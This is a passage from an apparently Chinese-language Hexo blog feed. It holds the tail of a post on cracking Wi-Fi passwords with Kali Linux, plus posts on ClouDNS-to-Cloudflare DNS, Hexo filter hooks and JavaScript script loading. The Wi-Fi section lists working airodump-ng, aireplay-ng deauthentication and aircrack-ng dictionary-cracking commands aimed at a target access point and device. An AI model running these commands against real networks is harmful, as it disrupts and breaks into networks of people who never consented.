systemctl stop wpa_supplicant</span><br></pre></td></tr></table></figure><p>然后重新启动监听模式（重点！！，<code>问题一</code>也可照此修复）：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo ip link set wlan0 down</span><br><span class="line">sudo iw dev wlan0 set type monitor</span><br><span class="line">sudo ip link set wlan0 up</span><br></pre></td></tr></table></figure><p>恢复网络连接：如果需要恢复 Wi-Fi 连接，运行：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl start NetworkManager</span><br><span class="line">sudo systemctl start wpa_supplicant</span><br></pre></td></tr></table></figure></li><li><p>省电模式导致网卡掉线<br>某些无线网卡在监听模式下会 自动进入省电模式，导致 airodump-ng 停止抓包。</p><p>关闭省电模式：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iw dev wlan0 set power_save off</span><br></pre></td></tr></table></figure><p>如果仍然 down，可以尝试：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">echo &quot;options iwlwifi power_save=0&quot; | sudo tee /etc/modprobe.d/iwlwifi.conf</span><br><span class="line">sudo systemctl restart NetworkManager</span><br></pre></td></tr></table></figure></li><li><p>网卡驱动问题（卸载、重装）</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo modprobe -r rtl8xxxu  # 卸载默认驱动</span><br><span class="line">sudo modprobe rtl8xxxu     # 重新加载驱动</span><br></pre></td></tr></table></figure></li></ol><h2 id="三、常用命令："><a href="#三、常用命令：" class="headerlink" title="三、常用命令："></a>三、常用命令：</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">sudo reboot # 重启虚拟机</span><br><span class="line"></span><br><span class="line">查看网卡信息</span><br><span class="line">sudo ifconfig 或 sudo iwconfig</span><br><span class="line"></span><br><span class="line">使能网卡监听功能</span><br><span class="line">sudo airmon-ng start wlan0</span><br><span class="line">开始执行监听</span><br><span class="line">sudo airodump-ng wlan0</span><br><span class="line"></span><br><span class="line">删除 当前目录下`wifi-`前缀的 所有文件</span><br><span class="line">sudo rm -f wifi*</span><br><span class="line"></span><br><span class="line">监听目标wifi热点的数据包，抓取的数据保存为`/home/kali/Desktop/`路径下的`wifi-`前缀文件。</span><br><span class="line">sudo airodump-ng -c &lt;wifi热点信道号CH&gt; --bssid &lt;目标wifi地址&gt; -w /home/kali/Desktop/wifi &lt;无线网卡代码&gt;</span><br><span class="line"></span><br><span class="line">攻击目标设备，使其掉线重连</span><br><span class="line">sudo aireplay-ng &lt;`--deauth`或`-0`&gt; 10 -a &lt;目标wifi地址&gt; -c &lt;目标设备地址&gt; &lt;无线网卡代码&gt;</span><br><span class="line"></span><br><span class="line">抓包成功（监听页面右上角会有`WPA handshake`提示）后，用“密码字典pwd.txt”暴力破解，破解成功也有`Found`提示。</span><br><span class="line">sudo aircrack-ng -w /home/kali/Desktop/pwd.txt -b &lt;目标wifi地址&gt; /home/kali/Desktop/wifi-0*.cap</span><br></pre></td></tr></table></figure><h2 id="四、过程概要："><a href="#四、过程概要：" class="headerlink" title="四、过程概要："></a>四、过程概要：</h2><ol><li><p>查看wlan网卡</p><p><img src="/posts/kali-po-jie-wifi/1%E6%9F%A5%E7%9C%8Bwlan%E7%BD%91%E5%8D%A1.webp" alt="查看wlan网卡"></p></li><li><p>监听时生成的文件（监听中）</p><p><img src="/posts/kali-po-jie-wifi/2%E7%9B%91%E5%90%AC%E6%97%B6%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E4%BB%B6%EF%BC%88%E7%9B%91%E5%90%AC%E4%B8%AD%EF%BC%89.webp" alt="监听时生成的文件（监听中）"></p></li><li><p>攻击设备掉线重连后成功抓到包</p><p><img src="/posts/kali-po-jie-wifi/3%E6%94%BB%E5%87%BB%E8%AE%BE%E5%A4%87%E6%8E%89%E7%BA%BF%E9%87%8D%E8%BF%9E%E5%90%8E%E6%88%90%E5%8A%9F%E6%8A%93%E5%88%B0%E5%8C%85.webp" alt="攻击设备掉线重连后成功抓到包"></p></li><li><p>成功从密码字典中找到密码</p><p><img src="/posts/kali-po-jie-wifi/4%E6%88%90%E5%8A%9F%E4%BB%8E%E5%AF%86%E7%A0%81%E5%AD%97%E5%85%B8%E4%B8%AD%E6%89%BE%E5%88%B0%E5%AF%86%E7%A0%81.webp" alt="成功从密码字典中找到密码"></p></li></ol><h2 id="注意："><a href="#注意：" class="headerlink" title="注意："></a>注意：</h2><ol><li>sudo airodump-ng执行后，只有当设备重连网络时，才能抓到数据包；</li><li>一个网卡同一时间只能监听一个ssid频道；</li></ol>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 工具 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>cloudns域名托管到CF</title>
      <link href="/posts/cloudns-yu-ming-tuo-guan-dao-cf/"/>
      <url>/posts/cloudns-yu-ming-tuo-guan-dao-cf/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="更新cloudns的NS记录和TXT记录"><a href="#更新cloudns的NS记录和TXT记录" class="headerlink" title="更新cloudns的NS记录和TXT记录"></a>更新cloudns的<code>NS记录</code>和<code>TXT记录</code></h2><ol><li><p>得到cloudns域名后，删除cloudns上的旧记录，CF新建站点（该cloudns域名）；</p></li><li><p>首先，将CF提供的“2个NS名称服务器”均添加到cloudns【注意<code>NS</code>记录】；</p></li><li><p>其次，将CF为该域名提供的“2个txt证书（通用、高级）”均添加到cloudns：有以下<code>两种</code>方式：</p><ol><li><p>将证书添加为 两个<code>NS</code>记录：“相同的证书名称”分别指向CF不同的“NS名称服务器”；</p><p><img src="/posts/cloudns-yu-ming-tuo-guan-dao-cf/cloudns%E7%AE%A1%E7%90%86%E7%9A%84%E8%AE%B0%E5%BD%951.webp" alt="cloudns管理的记录1"></p></li><li><p>共添加 四个<code>txt</code>记录：由于每个txt证书name均对应两个证书value，故共有四个证书value。“相同的证书名称”分别指向四个不同的证书value，此四条txt记录添加完毕。</p></li></ol></li></ol><h2 id="CF上的cloudns域名双向解析"><a href="#CF上的cloudns域名双向解析" class="headerlink" title="CF上的cloudns域名双向解析"></a>CF上的cloudns域名<code>双向解析</code></h2><ol><li>不同于其它域名托管，即便已经成功将cloudns域名服务器更换成了CF提供的“NS名称服务器”，之后该域名添加任何新纪录（如A、CNAME等），也必须添加到原来的cloudns域名记录列表中才能生效！<strong><mark class="hl-label red">若只在CF处添加记录而不“同时”在原cloudns添加该记录，无效。</mark> </strong></li><li>之所以将该cloudns域名交由CF共同管理，是为了能使用cloudflare提供的，如cdn，缓存管理等额外服务。<strong><mark class="hl-label red">即，只在原cloudns处添加记录而不“同时”在CF处添加该记录，不影响域名解析，相当于没使用CF服务。</mark> </strong></li></ol><h2 id="CF的worker或pages项目绑定cloudns域名"><a href="#CF的worker或pages项目绑定cloudns域名" class="headerlink" title="CF的worker或pages项目绑定cloudns域名"></a>CF的worker或pages项目绑定cloudns域名</h2><ol><li><p>CF的worker项目添加自定义域名，会自动在CF域名管理处添加<code>worker记录</code>，但在cloudns域名管理处要添加<code>CNAME记录</code>；CF pages项目一直是<code>CNAME记录</code>。</p><p><img src="/posts/cloudns-yu-ming-tuo-guan-dao-cf/CF%E7%AE%A1%E7%90%86%E7%9A%84%E8%AE%B0%E5%BD%952.webp" alt="CF管理的记录2"></p></li><li><p><strong><mark class="hl-label red">注意：</mark> </strong></p> <div class="tip warning"><p>须先要在项目设置处点击添加自定义域名按钮，才会开始DNS解析。若未经项目允许直接添加CNAME记录指向该项目，无效！</p></div> <div class="tip warning"><p>同理，若未经虚拟主机主动添加第三方域名，即便第三方域名直接通过（如A、CNAME等）指向主机项目地址，也难以重定向到该主机项目！</p></div></li></ol>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CF </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hexo过滤器阶段</title>
      <link href="/posts/hexo-guo-lu-qi-jie-duan/"/>
      <url>/posts/hexo-guo-lu-qi-jie-duan/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="一、hexo-g阶段"><a href="#一、hexo-g阶段" class="headerlink" title="一、hexo g阶段"></a>一、hexo g阶段</h2><h3 id="以下是-Hexo-中常用的过滤器阶段及其-执行顺序-的表格说明，按执行顺序排列："><a href="#以下是-Hexo-中常用的过滤器阶段及其-执行顺序-的表格说明，按执行顺序排列：" class="headerlink" title="以下是 Hexo 中常用的过滤器阶段及其 执行顺序 的表格说明，按执行顺序排列："></a>以下是 Hexo 中常用的过滤器阶段及其 执行顺序 的表格说明，按执行顺序排列：</h3><div class = "md-table"><table><thead><tr><th><strong>阶段名称</strong></th><th><strong>触发时机</strong></th><th><strong>执行顺序</strong></th><th><strong>描述</strong></th></tr></thead><tbody><tr><td><code>before_post_render</code></td><td>在渲染文章（如 Markdown 转 HTML）之前触发</td><td>最早</td><td>用于修改文章内容的源文件，比如解析自定义标签或前置处理 Markdown 内容。</td></tr><tr><td><code>after_post_render</code></td><td>在渲染文章后（HTML 已生成）触发</td><td>较早</td><td>用于处理文章渲染后的 HTML，比如添加自定义的 DOM 或属性。</td></tr><tr><td><code>before_render</code></td><td>在渲染文件之前触发</td><td>依赖情况</td><td>渲染所有类型文件（不仅限于文章，如模板、页面等）前触发，用于全局性修改。</td></tr><tr><td><code>after_render</code></td><td>在渲染文件之后触发</td><td>依赖情况</td><td>渲染所有类型文件后触发，常用于压缩 HTML、CSS 或 JS 文件。</td></tr><tr><td><code>before_generate</code></td><td>在开始生成文件之前触发</td><td>中间</td><td>用于在文件生成前进行站点数据的修改或准备工作。</td></tr><tr><td><code>after_generate</code></td><td>在所有文件生成完成后触发</td><td>较晚</td><td>用于修改生成后的文件或添加额外文件，通常用于 SEO 优化或缓存生成等后处理逻辑。</td></tr><tr><td><code>before_exit</code></td><td>在 Hexo 进程结束之前触发</td><td>最晚</td><td>用于清理资源、保存缓存、写日志等退出前的操作。</td></tr></tbody></table></div><h2 id="示例："><a href="#示例：" class="headerlink" title="示例："></a>示例：</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * AnZhiYu</span></span><br><span class="line"><span class="comment"> * lazyload</span></span><br><span class="line"><span class="comment"> * replace src to data-lazy-src</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">&quot;use strict&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> urlFor = <span class="built_in">require</span>(<span class="string">&quot;hexo-util&quot;</span>).<span class="property">url_for</span>.<span class="title function_">bind</span>(hexo);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">lazyload</span> = htmlContent =&gt; &#123;</span><br><span class="line">  <span class="keyword">const</span> error_img = hexo.<span class="property">theme</span>.<span class="property">config</span>.<span class="property">error_img</span>.<span class="property">post_page</span></span><br><span class="line">  <span class="keyword">const</span> bg = hexo.<span class="property">theme</span>.<span class="property">config</span>.<span class="property">lazyload</span>.<span class="property">placeholder</span></span><br><span class="line">    ? <span class="title function_">urlFor</span>(hexo.<span class="property">theme</span>.<span class="property">config</span>.<span class="property">lazyload</span>.<span class="property">placeholder</span>)</span><br><span class="line">    : <span class="string">&quot;data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot;</span>;</span><br><span class="line">  <span class="keyword">return</span> htmlContent.<span class="title function_">replace</span>(</span><br><span class="line">    <span class="regexp">/(&lt;img(?!.class[\t]*=[\t]*[&#x27;&quot;].*?nolazyload.*?[&#x27;&quot;]).*? src=)/gi</span>,</span><br><span class="line">    <span class="string">`$1 &quot;<span class="subst">$&#123;bg&#125;</span>&quot; data-lazy-src=`</span></span><br><span class="line">  );</span><br><span class="line">  <span class="comment">//   return htmlContent.replace(</span></span><br><span class="line">  <span class="comment">//   /(&lt;img(?!.class[\t]*=[\t]*[&#x27;&quot;].*?nolazyload.*?[&#x27;&quot;]).*? src=)/gi,</span></span><br><span class="line">  <span class="comment">//   `$1 &quot;$&#123;bg&#125;&quot; onerror=&quot;this.onerror=null,this.src=&amp;quot;$&#123;error_img&#125;&amp;quot;&quot; data-lazy-src=`</span></span><br><span class="line">  <span class="comment">// );</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">hexo.<span class="property">extend</span>.<span class="property">filter</span>.<span class="title function_">register</span>(<span class="string">&#x27;after_render:html&#x27;</span>, <span class="function"><span class="params">data</span> =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> &#123; enable, field &#125; = hexo.<span class="property">theme</span>.<span class="property">config</span>.<span class="property">lazyload</span></span><br><span class="line">  <span class="keyword">if</span> (!enable || field !== <span class="string">&#x27;site&#x27;</span>) <span class="keyword">return</span></span><br><span class="line">  <span class="keyword">return</span> <span class="title function_">lazyload</span>(data)</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">hexo.<span class="property">extend</span>.<span class="property">filter</span>.<span class="title function_">register</span>(<span class="string">&#x27;after_post_render&#x27;</span>, <span class="function"><span class="params">data</span> =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> &#123; enable, field &#125; = hexo.<span class="property">theme</span>.<span class="property">config</span>.<span class="property">lazyload</span></span><br><span class="line">  <span class="keyword">if</span> (!enable || field !== <span class="string">&#x27;post&#x27;</span>) <span class="keyword">return</span></span><br><span class="line">  data.<span class="property">content</span> = <span class="title function_">lazyload</span>(data.<span class="property">content</span>)</span><br><span class="line">  <span class="keyword">return</span> data</span><br><span class="line">&#125;)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="二、hexo过滤器-补充："><a href="#二、hexo过滤器-补充：" class="headerlink" title="二、hexo过滤器 补充："></a>二、hexo过滤器 补充：</h2><h3 id="完整的-hexo-extend-filter-register-类别按执行顺序排列："><a href="#完整的-hexo-extend-filter-register-类别按执行顺序排列：" class="headerlink" title="完整的 hexo.extend.filter.register 类别按执行顺序排列："></a>完整的 hexo.extend.filter.register 类别按执行顺序排列：</h3><div class = "md-table"><table><thead><tr><th><strong>事件</strong></th><th><strong>事件名称（<code>hexo.extend.filter.register</code> 类别）</strong></th><th><strong>描述</strong></th></tr></thead><tbody><tr><td><strong>初始化阶段</strong></td><td><code>before_init</code> &#x2F; <code>after_init</code></td><td>在Hexo初始化之前和之后触发，允许自定义项目结构和配置。</td></tr><tr><td><strong>清理缓存阶段</strong></td><td><code>before_clean</code> &#x2F; <code>after_clean</code></td><td>在清理缓存之前和之后触发，用于在清理前后执行操作。</td></tr><tr><td><strong>创建新文章</strong></td><td><code>new_post</code></td><td>在创建新文章时触发，用于生成文章文件或执行额外的初始化操作。</td></tr><tr><td><strong>处理文章内容阶段</strong></td><td><code>before_post_render</code> &#x2F; <code>after_post_render</code></td><td>文章渲染前后触发，常用于插入文章的附加内容（如社交按钮等）。 整篇文章对象（包括 front-matter 元数据和原始内容）</td></tr><tr><td><strong>内容处理阶段</strong></td><td><code>before_content_render</code> &#x2F; <code>after_content_render</code></td><td>用于文章内容的渲染前后，进行内容修改或格式化。仅文章内容部分（不包括 front-matter）</td></tr><tr><td><strong>渲染页面阶段</strong></td><td><code>before_render</code> &#x2F; <code>after_render</code></td><td>在渲染页面内容之前和之后触发，允许修改渲染流程或渲染后的内容（在HTML&#x2F;CSS&#x2F;JS等任何类型判断前）。</td></tr><tr><td><strong>渲染HTML页面阶段</strong></td><td><code>after_render:html</code></td><td>在HTML渲染完成后触发，用于修改或插入HTML结构，例如SEO优化等。（类型识别完成后，仅 HTML）</td></tr><tr><td><strong>生成阶段</strong></td><td><code>before_generate</code> &#x2F; <code>after_generate</code></td><td>在生成页面前后触发，允许修改或处理页面内容。</td></tr><tr><td><strong>部署阶段</strong></td><td><code>before_deploy</code> &#x2F; <code>after_deploy</code></td><td>在部署之前和之后触发，用于自定义部署流程。</td></tr><tr><td><strong>服务器启动阶段</strong></td><td><code>before_serve</code> &#x2F; <code>after_serve</code></td><td>在本地服务器启动前后触发，用于开发环境中的调试和优化。</td></tr><tr><td><strong>发布后处理阶段</strong></td><td><code>after_publish</code></td><td>在Hexo发布后触发，通常用于清理、日志记录或其他后期操作。</td></tr></tbody></table></div><h2 id="三、拓展"><a href="#三、拓展" class="headerlink" title="三、拓展"></a>三、拓展</h2><p><strong>备份</strong>（<code>filters</code>、<code>events</code>、<code>helpers</code>等）<strong>不同类型</strong>的hexo脚本，在hexo加载时，可能对项目会有不同程度的影响。</p><ol><li><code>filters (过滤器)</code> - 🚫 最易受影响 (重复执行)</li></ol><p>问题本质： 使用 hexo.extend.filter.register(‘filter_name’, function(){…}) 注册的过滤器是 全局注册 到 Hexo 实例上的。</p><p>重复执行： 如果在 两个不同的 .js 文件 中（即使是主题目录下的不同子目录），注册了 同名 的过滤器（’filter_name’），那么 当该过滤器被触发时，这两个函数都会被执行（即，执行了两次逻辑）！ 执行顺序通常取决于文件加载顺序（文件名排序或目录结构）。</p><p>影响范围： 主题目录下的 scripts&#x2F;、scripts&#x2F;filters&#x2F;、scripts&#x2F;any-subfolder&#x2F; 等 所有子目录 中的脚本文件，只要它们被加载并注册了同名过滤器。</p><ol start="2"><li><code>events (事件)</code> - 🚫 受影响 (重复执行)</li></ol><p>问题本质： 使用 hexo.on(‘event_name’, function(){…}) 监听 Hexo 事件。</p><p>重复执行： 如果在 两个不同的 .js 文件 中监听了 同一个事件（’event_name’），那么 当该事件被触发时，这两个监听函数都会被执行！</p><p>影响范围： 同样影响主题目录下 scripts&#x2F;、scripts&#x2F;events&#x2F; 等所有子目录中的脚本文件。</p><ol start="3"><li><code>helpers (辅助函数)</code> - ⚠️ 影响方式不同 (覆盖而非重复执行)</li></ol><p>问题本质： 使用 hexo.extend.helper.register(‘helper_name’, function(){…}) 注册的辅助函数也是 全局注册。</p><p>重复注册后果： 如果在 两个不同的 .js 文件 中注册了 同名 的辅助函数（’helper_name’），那么 后注册的函数会完全覆盖先注册的函数。 最终在模板中调用 helper_name() 时，只会执行最后注册的那个函数。</p><p>与过滤器的区别： 它不会导致函数被执行多次，但会导致 预期外的函数被替换，同样会造成问题（功能失效或行为改变）。</p><p>影响范围： 同样影响主题目录下 scripts&#x2F;、scripts&#x2F;helpers&#x2F; 等所有子目录中的脚本文件。</p><blockquote><h3 id="总结："><a href="#总结：" class="headerlink" title="总结："></a>总结：</h3><p><strong><code>备份脚本</code>可能会出现的<code>冲突</code></strong></p><ol><li>发生在<code>注册的组件名</code>（filter_name, helper_name, event_name）上，而<code>不是文件名</code>上。仅仅使用不同的文件名（或放在不同子目录如 scripts&#x2F;filters&#x2F; vs scripts&#x2F;helpers&#x2F;），无法隔离在 hexo 全局对象上注册的组件。</li><li><code>filters</code> 和 <code>events</code> 会导致 <strong>重复执行</strong>，而<code>helpers</code> 会导致 <strong>覆盖</strong>。这是 Hexo 插件&#x2F;脚本机制决定的。</li></ol><p><strong>如何备份脚本才能<code>避免冲突</code>?</strong></p><ol><li>将备份脚本中的 hexo.extend.filter.register、hexo.extend.helper.register、hexo.on 等关键注册行直接用 &#x2F;&#x2F; 或 &#x2F;* *&#x2F; <code>注释掉</code>，确保它们不会被执行。这是比较可靠的手动方法。</li><li>将所要备份的hexo脚本，<code>移出hexo加载路径</code>。</li></ol></blockquote>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> hexo </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Js预加载区分</title>
      <link href="/posts/js-yu-jia-zai-qu-fen/"/>
      <url>/posts/js-yu-jia-zai-qu-fen/</url>
      
        <content type="html"><![CDATA[<h2 id="一、link标签rel属性值preload与prefetch差异"><a href="#一、link标签rel属性值preload与prefetch差异" class="headerlink" title="一、link标签rel属性值preload与prefetch差异"></a>一、<code>link标签</code>rel属性值<code>preload</code>与<code>prefetch</code>差异</h2><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;preload&quot;</span> <span class="attr">href</span>=<span class="string">&quot;&quot;</span> <span class="attr">as</span>=<span class="string">&quot;script&quot;</span> /&gt;</span></span><br></pre></td></tr></table></figure><p>注意： 特殊的 as 属性取值：<br>style 和 script 是最常用的两个值，因为它们分别对应预加载 CSS 和 JavaScript 文件。其他如 image、font 和 audio 也是在处理资源时比较常见的需求。<br>使用 as 属性时，除了指定合适的资源类型，还可以根据需要指定 type（如字体文件的 MIME 类型）以及 crossorigin（用于跨域请求时指定 CORS 策略）。</p><h3 id="相同点："><a href="#相同点：" class="headerlink" title="相同点："></a>相同点：</h3><ol><li>只是利用多余带宽提前加载资源，但js不执行，图片、样式等也主动不引入；</li><li>不阻塞dom构建和css渲染，即在页面渲染的同时下载其它资源。</li></ol><h3 id="不同点："><a href="#不同点：" class="headerlink" title="不同点："></a>不同点：</h3><ol><li>preload优先级高，一般用于当前页面重要资源的提前下载；</li><li>而prefetch优先级低，一般用于提前下载子页面等依赖的资源；</li></ol><h2 id="二、script标签之defer与async属性-差异"><a href="#二、script标签之defer与async属性-差异" class="headerlink" title="二、script标签之defer与async属性 差异"></a>二、<code>script标签</code>之<code>defer</code>与<code>async</code>属性 差异</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script src=<span class="string">&quot;&quot;</span> defer &gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="没有defer或async"><a href="#没有defer或async" class="headerlink" title="没有defer或async"></a>没有<code>defer</code>或<code>async</code></h4><ol><li><code>下载</code>和<code>执行</code>均会<code>阻塞</code>HTML 解析，适合必须依赖 HTML 内容的脚本。</li></ol><h4 id="defer"><a href="#defer" class="headerlink" title="defer"></a><code>defer</code></h4><ol><li><p>不依赖于 DOM 解析完成后的操作，但需要在 DOM 完全加载之后执行的脚本。例如，初始化页面交互、绑定事件等；</p></li><li><p>与没有 defer 属性的普通<code>&lt;script&gt;标签</code>不同，带有 defer 属性的<code>&lt;script&gt;标签</code>会延迟执行，但它仍会在页面解析过程中开始异步下载。也就是说，defer 属性让脚本的下载过程异步进行，但不会阻塞页面的其他内容（如 DOM 或其他资源）的加载。</p></li><li><p>脚本执行顺序：所有带有 defer 属性的脚本会按照它们在文档中的出现顺序来执行，即使它们是异步下载的。也就是说，defer 保证了脚本按顺序执行，而不是基于下载完成的顺序；</p></li><li><p>多脚本<code>defer</code>，保证在html解析及下载依赖css完成后，在脚本依序执行阶段能缓解带宽压力（不过太多的defer在并行加载阶段，也会占用带宽；可结合脚本合并【合并请求】，代码压缩优化），利于首屏加载。</p></li><li><p>执行时间：这些脚本会在页面解析完成后、DOMContentLoaded 事件触发之前执行。</p><p><img src="/posts/js-yu-jia-zai-qu-fen/defer.webp" alt="defer加载和执行时机"></p></li></ol><p><em>执行顺序图解：</em></p><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  sequenceDiagram participant Browser participant DOM participant Resources Browser-&gt;&gt;DOM: 开始解析HTML Browser-&gt;&gt;DOM: 构建DOM树 DOM--&gt;&gt;Browser: DOMContentLoaded触发 (DOM就绪) Browser-&gt;&gt;Resources: 加载外部资源 Resources--&gt;&gt;Browser: 所有资源加载完成 Browser-&gt;&gt;Browser: window.onload触发 Browser-&gt;&gt;Browser: document.readyState &#x3D; &#39;complete&#39;  </pre></div><p><em>脚本加载策略对比</em></p><div class="mermaid-wrap"><pre class="mermaid-src" hidden>  graph LR    A[加载策略] --&gt; B[无属性]    A --&gt; C[async]    A --&gt; D[defer]    B --&gt; B1[阻塞HTML解析]    B --&gt; B2[声明顺序执行]    B --&gt; B3[立即执行]    C --&gt; C1[不阻塞解析]    C --&gt; C2[下载顺序执行]    C --&gt; C3[下载完立即执行]    D --&gt; D1[不阻塞解析]    D --&gt; D2[声明顺序执行]    D --&gt; D3[DOMContentLoaded前执行]  </pre></div><div class = "md-table"><table><thead><tr><th><strong>场景</strong></th><th><strong>推荐使用</strong></th><th><strong>原因说明</strong></th></tr></thead><tbody><tr><td><code>修改DOM元素</code></td><td>DOMContentLoaded</td><td>无需等待资源加载，可尽早操作DOM</td></tr><tr><td><code>获取图片/iframe尺寸</code></td><td>window.onload</td><td>需要确保所有资源已加载才能获得准确尺寸</td></tr><tr><td><code>初始化第三方分析脚本</code></td><td>DOMContentLoaded</td><td>尽早收集用户行为数据</td></tr><tr><td><code>显示&quot;加载完成&quot;提示</code></td><td>document.readyState</td><td>精确检测最终完成状态</td></tr><tr><td><code>执行依赖完整布局的JS</code></td><td>window.onload</td><td>如复杂的Canvas绘图需要完整布局信息</td></tr><tr><td><code>预加载后续资源</code></td><td>DOMContentLoaded</td><td>主内容就绪后即可预加载次要资源</td></tr><tr><td><code>单页应用(SPA)挂载</code></td><td>DOMContentLoaded</td><td>现代框架(React&#x2F;Vue等)通常在此事件挂载应用</td></tr></tbody></table></div><h5 id="举例"><a href="#举例" class="headerlink" title="举例"></a>举例</h5><ol><li>浏览器解析 HTML 文件，从上到下逐行解析。</li><li>遇到<code> &lt;script defer=&quot;true&quot; src=&quot;script.js&quot;&gt; 标签</code>时，浏览器会开始异步加载 script.js 文件。</li><li>同时，浏览器继续解析页面的其他 HTML 元素，解析 CSS 文件（如 <code>&lt;link rel=&quot;stylesheet&quot; href=&quot;styles.css&quot;&gt;</code>），并开始应用 CSS 样式。</li><li>当 HTML 文档解析完毕，defer 属性的脚本会按顺序执行，确保文档的 DOM 结构已经完整，但此时 CSS 渲染已经完成。<br>（脚本尝试强制触发浏览器对某些样式计算（如 <code>getComputedStyle</code>）时可能被延迟，或 JS 存在动态加载额外的 CSS 文件，最好以<code>onload</code>监听为准）</li><li>在<code>defer脚本</code>均执行完成后，<code>DOMContentLoaded</code> 事件会被触发。</li></ol><h4 id="async"><a href="#async" class="headerlink" title="async"></a><code>async</code></h4><ol><li>从<code>script标签</code>位置开始下载：浏览器会在解析到 async 属性的<code>&lt;script&gt;标签</code>时立即开始下载（<code>下载过程</code>不阻塞 html解析）。</li><li>下载完成后执行：脚本会在下载完成后立即执行，执行顺序取决于各自下载的顺序，而不是在 HTML 中的顺序（<code>执行过程</code>占用主线程，会阻塞 html解析和依赖的css下载，优先执行完毕后才会继续解析html；太多async会抢占带宽，影响css等关键资源加载，有碍页面渲染）。</li><li>主要用于“广告”，“监视脚本”或其它第三方独立插件。</li></ol><p><img src="/posts/js-yu-jia-zai-qu-fen/defer%E4%B8%8Easync%E5%AF%B9%E6%AF%94.webp" alt="defer与async对比"></p><h2 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h2><p><code>&lt;link rel=&quot;preload&quot; href=&quot;&quot; as=&quot;script&quot;&gt;</code>能缩短加载其它页面的时间，但使用太多可能造成流量拥堵，不利于首屏加载。同时与<code>&lt;script src=&quot;&quot; defer /&gt;</code>能提前下载关键资源在且dom完成后顺序执行，是个好实践。</p>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Telegram测试</title>
      <link href="/posts/telegram-ce-shi/"/>
      <url>/posts/telegram-ce-shi/</url>
      
